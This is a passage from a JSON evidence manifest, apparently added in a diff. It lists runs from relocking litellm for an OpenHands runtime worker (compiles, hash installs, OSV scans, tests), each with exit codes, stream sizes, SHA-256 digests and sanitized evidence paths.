immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-candidate-compile", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-candidate-compile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-candidate-compile.stderr.txt", + "bytes": 31, + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc" + } + }, + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt", + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "fresh-venv", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "fresh-venv.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "fresh-venv.stderr.txt", + "bytes": 267, + "sha256": "79005560da00d0dabbef95b9c6bdb30f8379deff9c6e8722bb3817284e88dcbd" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt", + "sha256": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "bytes": 232, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "build-hash-install", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "build-hash-install.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "build-hash-install.stderr.txt", + "bytes": 191, + "sha256": "14dc7f75c7f437a52d1d04e7de30987fdb082046ab55443731771badc2d52d17" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt", + "sha256": "667ac8b6b61cacb3f7b70aeebf1132d6f42c01b490a321e1c98ee89b651c8a69", + "bytes": 176, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "candidate-osv-current-config", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "candidate-osv-current-config.stdout.txt", + "bytes": 124, + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e" + }, + "stderr": { + "file": "candidate-osv-current-config.stderr.txt", + "bytes": 3662, + "sha256": "b30fc0165e768f434a18243291b4698f593854df0b51f8bb3ed90d3084f4dc23" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt", + "sha256": "35d74b0c8ef3cf64d2e349348d53bb5909907c1d1cc4d7996930118bdae5d31d", + "bytes": 3632, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "candidate-osv-empty-config", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "candidate-osv-empty-config.stdout.txt", + "bytes": 19985, + "sha256": "3db50408892f99cfef9db5bb013bc8acb3fda095f41aef9e276dc123317ff202" + }, + "stderr": { + "file": "candidate-osv-empty-config.stderr.txt", + "bytes": 228, + "sha256": "d430e778c59ba2a460ff370879983307d9b5ed978e3fcc1150acb27d6272a3de" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt", + "sha256": "08bfcde0bd82cb1139676b96fbdd495ba84bcb5e0878999577290f4f2f8f3536", + "bytes": 213, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-cutoff-maintainer-source", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-cutoff-maintainer-source.stdout.txt", + "bytes": 3850, + "sha256": "6ddf2465f2b0a7dc927af912709606337c798f56023ce10ca63ad0897572661b" + }, + "stderr": { + "file": "litellm-cutoff-maintainer-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "runtime-hash-install", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "runtime-hash-install.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "runtime-hash-install.stderr.txt", + "bytes": 4533, + "sha256": "793f4227046b9c213906d7bdc7ca3b4aea49d08131767b53ecec12a6b56559e8" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt", + "sha256": "6dd5d8d9dac64dd1c3b67c010184f47057ec47086b69b4fcc191ddd31365c55a", + "bytes": 4518, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "maintained-jwt-callers", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "maintained-jwt-callers.stdout.txt", + "bytes": 2926, + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065" + }, + "stderr": { + "file": "maintained-jwt-callers.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt", + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-pip-check", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-pip-check.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-pip-check.stderr.txt", + "bytes": 142, + "sha256": "714b6e1f9d1a1fe1100b4ae6e3e64cfcbabbdb1ed96fba6010fd845fb4868993" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt", + "sha256": "94b6dcbed09c7f53f08e003dbf72ddb250182edce8a877cb33af39ee798d18f2", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "oauthlib-alias-callers", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "oauthlib-alias-callers.stdout.txt", + "bytes": 37078, + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813" + }, + "stderr": { + "file": "oauthlib-alias-callers.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt", + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "sdk-fixtures", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "sdk-fixtures.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "sdk-fixtures.stderr.txt", + "bytes": 2962, + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt", + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5", + "bytes": 2962, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-candidate-sdist-download", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-candidate-sdist-download.stdout.txt", + "bytes": 175, + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321" + }, + "stderr": { + "file": "litellm-candidate-sdist-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt", + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "litellm-baseline-sdist-download", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-baseline-sdist-download.stdout.txt", + "bytes": 175, + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988" + }, + "stderr": { + "file": "litellm-baseline-sdist-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt", + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-candidate-no-config-recompile", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-candidate-no-config-recompile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-candidate-no-config-recompile.stderr.txt", + "bytes": 30, + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747" + } + }, + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt", + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747", + "bytes": 30, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-candidate-wheel-download", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-candidate-wheel-download.stdout.txt", + "bytes": 206, + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38" + }, + "stderr": { + "file": "litellm-candidate-wheel-download.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt", + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "pytest-qualification-tools", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "pytest-qualification-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "pytest-qualification-tools.stderr.txt", + "bytes": 187, + "sha256": "d5b87cbaef0fbb0f48003f8676670e4ef72a7b1cd64add6ed41271fd2d522a29" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt", + "sha256": "c30218aa1df2e8325dfac41e3314a642598d698a997cc01b9ab6ac66f694e66b", + "bytes": 172, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-upstream-url-tests-source", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-upstream-url-tests-source.stdout.txt", + "bytes": 21000, + "sha256": "f8bffa71eab0df126893c63a6dc0ee187d0b14ca53baf4c1ae165bef69fd9973" + }, + "stderr": { + "file": "litellm-upstream-url-tests-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-upstream-test-tools", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-upstream-test-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-upstream-test-tools.stderr.txt", + "bytes": 221, + "sha256": "c82ea9e1006a88b443c01c15185683e44553117f2ea6216b08605e80b8c02bde" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt", + "sha256": "32207d0e41826374f93e7912571a45efda0fb1a28f98e3fa3aa36a53da874b9d", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "litellm-upstream-test-config-source", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "litellm-upstream-test-config-source.stdout.txt", + "bytes": 11304, + "sha256": "71d153eb3fb27613f6b7177924a703bc5b50d2ee4523df3bf2dc5949e9908217" + }, + "stderr": { + "file": "litellm-upstream-test-config-source.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "kept_private": true, + "reason": "Original primary-source response; immutable URLs and source/input digests are recorded separately." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "exact-runtime-and-source-identities", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "exact-runtime-and-source-identities.stdout.txt", + "bytes": 3168, + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d" + }, + "stderr": { + "file": "exact-runtime-and-source-identities.stderr.txt", + "bytes": 658, + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt", + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d", + "bytes": 3168, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt", + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "bytes": 658, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "unchanged-upstream-url-tests", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "unchanged-upstream-url-tests.stdout.txt", + "bytes": 7610, + "sha256": "f1c111c81de875f753d4175ad1db81c1e356d2bdec578dfae966760e798615c0" + }, + "stderr": { + "file": "unchanged-upstream-url-tests.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt", + "sha256": "0704464298af960099ab7677cec20c3f8be9b9c40fe9942e05062c9ec356cb79", + "bytes": 7535, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "native-pip-check-after-test-tools", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-pip-check-after-test-tools.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "native-pip-check-after-test-tools.stderr.txt", + "bytes": 142, + "sha256": "bcd3304a2098aa514059b07b6469fccc1221d0c0311dc653756fa1faa4e87282" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt", + "sha256": "2919b108fe00735e79cd413a063e8699103a744b3765f4b963c1ad6f42a7f941", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "native-recipe-lock-compile", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-recipe-lock-compile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-recipe-lock-compile.stderr.txt", + "bytes": 31, + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d" + } + }, + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt", + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "focused-guard-tests", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "focused-guard-tests.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "focused-guard-tests.stderr.txt", + "bytes": 6323, + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt", + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0", + "bytes": 6323, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "source-validation-before-index", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "source-validation-before-index.stdout.txt", + "bytes": 489, + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5" + }, + "stderr": { + "file": "source-validation-before-index.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt", + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5", + "bytes": 489, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "source-whitespace-check", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "source-whitespace-check.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "source-whitespace-check.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "oauthlib-alias-callers-after-test-tools", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "oauthlib-alias-callers-after-test-tools.stdout.txt", + "bytes": 37078, + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c" + }, + "stderr": { + "file": "oauthlib-alias-callers-after-test-tools.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt", + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "maintained-jwt-callers-after-test-tools", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "maintained-jwt-callers-after-test-tools.stdout.txt", + "bytes": 2926, + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e" + }, + "stderr": { + "file": "maintained-jwt-callers-after-test-tools.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt", + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + } + ], + "bound_files": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt", + "sha256": "a92e835298713c688fe1cec4e6dce17342294e5d82500617f08adefdb6f81bc8", + "bytes": 37988, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt", + "sha256": "7de52e31d1f445e1709affba57e0707156ad7825b3090a91e516fd1b334bbe1a", + "bytes": 3630, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt", + "sha256": "b7eedfbee6122774031a30c319f714d849c5c1cf23abb9dda493403524a30c7f", + "bytes": 57685, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt", + "sha256": "5badffe477826da86e599f6e3b4eda2197a4ac0535ecf3be64cb255064198f73", + "bytes": 211, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt", + "sha256": "667ac8b6b61cacb3f7b70aeebf1132d6f42c01b490a321e1c98ee89b651c8a69", + "bytes": 176, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt", + "sha256": "35d74b0c8ef3cf64d2e349348d53bb5909907c1d1cc4d7996930118bdae5d31d", + "bytes": 3632, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt", + "sha256": "08bfcde0bd82cb1139676b96fbdd495ba84bcb5e0878999577290f4f2f8f3536", + "bytes": 213, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt", + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d", + "bytes": 3168, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt", + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "bytes": 658, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt", + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0", + "bytes": 6323, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt", + "sha256": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "bytes": 232, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt", + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt", + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321", + "bytes": 175, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt", + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38", + "bytes": 206, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt", + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt", + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt", + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt", + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747", + "bytes": 30, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt", + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt", + "sha256": "2919b108fe00735e79cd413a063e8699103a744b3765f4b963c1ad6f42a7f941", + "bytes": 127, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + { + "path": 